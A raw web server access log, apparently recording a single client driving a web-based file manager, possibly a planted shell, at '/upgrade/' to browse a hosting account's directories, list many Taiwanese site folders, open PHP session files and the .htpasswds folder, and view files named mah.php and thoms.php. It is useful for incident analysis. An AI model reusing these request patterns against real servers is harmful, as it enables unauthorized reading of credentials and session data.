45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2F HTTP/1.1" 200 5766 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F HTTP/1.1" 200 6265 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=folder HTTP/1.1" 200 6274 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2Fincoming HTTP/1.1" 200 6189 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2Fincoming" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F HTTP/1.1" 200 6277 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F HTTP/1.1" 200 19038 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=file HTTP/1.1" 200 6274 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2F HTTP/1.1" 200 7808 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7874 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_ftp&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=dir HTTP/1.1" 200 6276 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F HTTP/1.1" 200 50828 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 6880 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 6858 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fawstats HTTP/1.1" 200 17796 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fawstats" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 19663 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_b5632c1bf5a22f6811b80a40cf4ffb4a&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 8888 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_b5632c1bf5a22f6811b80a40cf4ffb4a&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7899 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 6868 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=folder HTTP/1.1" 200 6879 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fanalog HTTP/1.1" 200 8680 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fanalog" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_9040350513b9ed7b8261b32791b1ff42&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 8686 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_9040350513b9ed7b8261b32791b1ff42&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_94762f496acf2989f33094ef42a39f6e&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 7062 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_94762f496acf2989f33094ef42a39f6e&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fpma_template_compiles_blackpussy06 HTTP/1.1" 200 6325 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fpma_template_compiles_blackpussy06" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fwebalizerftp HTTP/1.1" 200 6193 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fwebalizerftp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=file HTTP/1.1" 200 6879 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_ec37d84d30903277d4db3832fa5f6b2e&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 8897 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fsess_ec37d84d30903277d4db3832fa5f6b2e&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Ftmp%2F HTTP/1.1" 200 51380 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Ftmp%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2F HTTP/1.1" 200 7814 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2F HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Ftmp&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=dir HTTP/1.1" 200 6881 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fwebalizer HTTP/1.1" 200 9788 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp%2Fwebalizer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F HTTP/1.1" 200 6157 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7899 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F HTTP/1.1" 200 6181 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F HTTP/1.1" 200 50706 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F&option=folder HTTP/1.1" 200 6176 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2F HTTP/1.1" 200 7826 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F HTTP/1.1" 200 6167 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F&option=file HTTP/1.1" 200 6177 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2F HTTP/1.1" 200 5769 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.htpasswds&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F HTTP/1.1" 200 18894 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.htpasswds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fba-guo.com.tw HTTP/1.1" 200 6288 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=dir HTTP/1.1" 200 7112 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbesth2o.com.tw HTTP/1.1" 200 6293 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbesth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=file HTTP/1.1" 200 7112 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbeauty-dental.com.tw HTTP/1.1" 200 6299 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbeauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbodbooks.com.tw HTTP/1.1" 200 6298 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fetc%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fetc%2F HTTP/1.1" 200 19792 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fetc%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fetc%2F HTTP/1.1" 200 7094 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbfl.com.tw HTTP/1.1" 200 6283 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbft.com.tw HTTP/1.1" 200 6283 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbiotaiwan.com.tw HTTP/1.1" 200 6296 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbiotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2F HTTP/1.1" 200 5763 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7878 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbestjudy.com.tw HTTP/1.1" 200 6297 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbig-wife.com.tw HTTP/1.1" 200 6296 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbig-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbogroup.com.tw HTTP/1.1" 200 6258 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:23 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2Fblackpussy06%2Fetc%2F HTTP/1.1" 200 7125 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fetc&location=%2Fhome%2Fblackpussy06%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=folder HTTP/1.1" 200 7065 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbestzyx.com.tw HTTP/1.1" 200 6295 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbioway88.com.tw HTTP/1.1" 200 6297 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbooking-wise2.com.tw HTTP/1.1" 200 6300 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc%2Fbooking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
